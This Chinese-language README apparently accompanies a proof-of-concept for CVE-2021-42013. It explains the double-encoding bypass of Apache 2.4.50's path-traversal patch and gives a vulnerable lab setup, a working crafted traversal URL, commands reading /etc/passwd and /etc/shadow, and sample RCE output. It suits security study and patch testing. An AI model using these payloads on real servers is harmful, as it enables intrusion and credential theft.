
仅限在受控和自有环境中使用。未经授权不得针对系统使用。
为演示 CVE-2021-42013 而开发的 PoC,该漏洞存在于 Apache HTTP Server 2.4.50 中。
此 CVE 是 Apache 为 CVE-2021-41773 发布的补丁的绕过方式。2.4.50 版本试图通过添加一项拒绝 .%2e 和 %2e. 序列的验证来修复之前的路径遍历漏洞。然而,该验证并不充分:它没有考虑到通过双重 URL 编码也能达到相同效果,因此留下了相同的攻击面。
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| 受影响版本 | Apache 2.4.49 | Apache 2.4.50 |
| 使用的编码 | .%2e/ | %%32%65%%32%65/ |
| 机制 | 单次编码 | 双重编码(绕过补丁) |
| 是否可能 RCE | 是(需要 mod_cgi) | 是(需要 mod_cgi) |
| 修复版本 | 2.4.50(补丁不完整) | 2.4.51 |
Apache 2.4.50 的补丁在 ap_normalize_path() 中添加了一项验证,该验证会逐字查找请求路径中的 .%2e 和 %2e. 序列。如果找到,则用 400 或 403 拒绝该请求。
问题在于:该验证是在第二次 URL 解码之前对字符串执行的。如果 payload 是双重编码的,验证就找不到被禁止的序列,因为它尚未被解码——而当最终解码以解析文件系统路径时,../ 已经存在,遍历就能顺利发生。
Payload: %%32%65%%32%65/
2.4.50 验证查找: .%2e → 未找到 → 放行
第一次解码: %%32%65%%32%65/ → %2e%2e/
第二次解码: %2e%2e/ → ../
结果: 遍历成功
真正的修复在 2.4.51 版本中到来,Apache 重写了规范化逻辑,以便在应用任何安全验证之前完全解析路径。
%%32%65 是 . 的双重编码表示:
. → %2e (标准编码)
% → %25 (符号 % 的编码)
2 → %32 (字符 '2' 的编码)
e → %65 (字符 'e' 的编码)
因此,%2e 将其 % 进行编码,并将十六进制字符进行编码后,变为 %%32%65。
对 %%32%65 进行一次解码得到 %2e。第二次解码得到 .。
| 条件 | 详情 |
|---|---|
| Apache 版本 | 正好是 2.4.50 |
| 访问指令 | 在暴露的目录中设置 Require all granted |
| CGI 模块 | 启用 mod_cgi(仅用于 RCE) |
# 存在漏洞的 Apache 2.4.50 镜像
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
或手动使用 Apache 2.4.50 并在 httpd.conf 中进行如下配置:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <命令>]
# 读取 /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# 执行 id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# 带空格的命令
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 路径遍历 + RCE
通过双重编码绕过 CVE-2021-41773 补丁
PoC 仅供教育目的——仅限自有环境
============================================================
[+] 模式:路径遍历(双重编码——绕过 CVE-2021-41773 补丁)
[+] 目标:http://localhost:8080
[+] 编码:%%32%65%%32%65/ → %2e%2e/ → ../
[+] 构造的 URL:http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] 发送请求...
[+] 服务器存在漏洞!状态码:200
[+] 已确认:Apache 2.4.50 带有不完整补丁
=== /etc/passwd 内容:
root:x:0:0:root:/root:/bin/bash
...
[+] 模式:通过 mod_cgi 实现 RCE(双重编码——绕过 CVE-2021-41773 补丁)
[+] 目标:http://localhost:8080
[+] 命令:id
[+] RCE 已确认!(Apache 2.4.50 —— 补丁不完整)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 或更高版本。Require all denied 为默认值。mod_cgi。PoC 基于教育目的开发,用于攻防安全资产展示。
| 参数 | 必需 | 描述 |
|---|
--target | 是 | 服务器的基础 URL(例如 http://localhost:8080) |
--mode | 是 | traversal 用于读取文件,rce 用于执行命令 |
--cmd | 否 | 在 rce 模式下要执行的命令(默认:id) |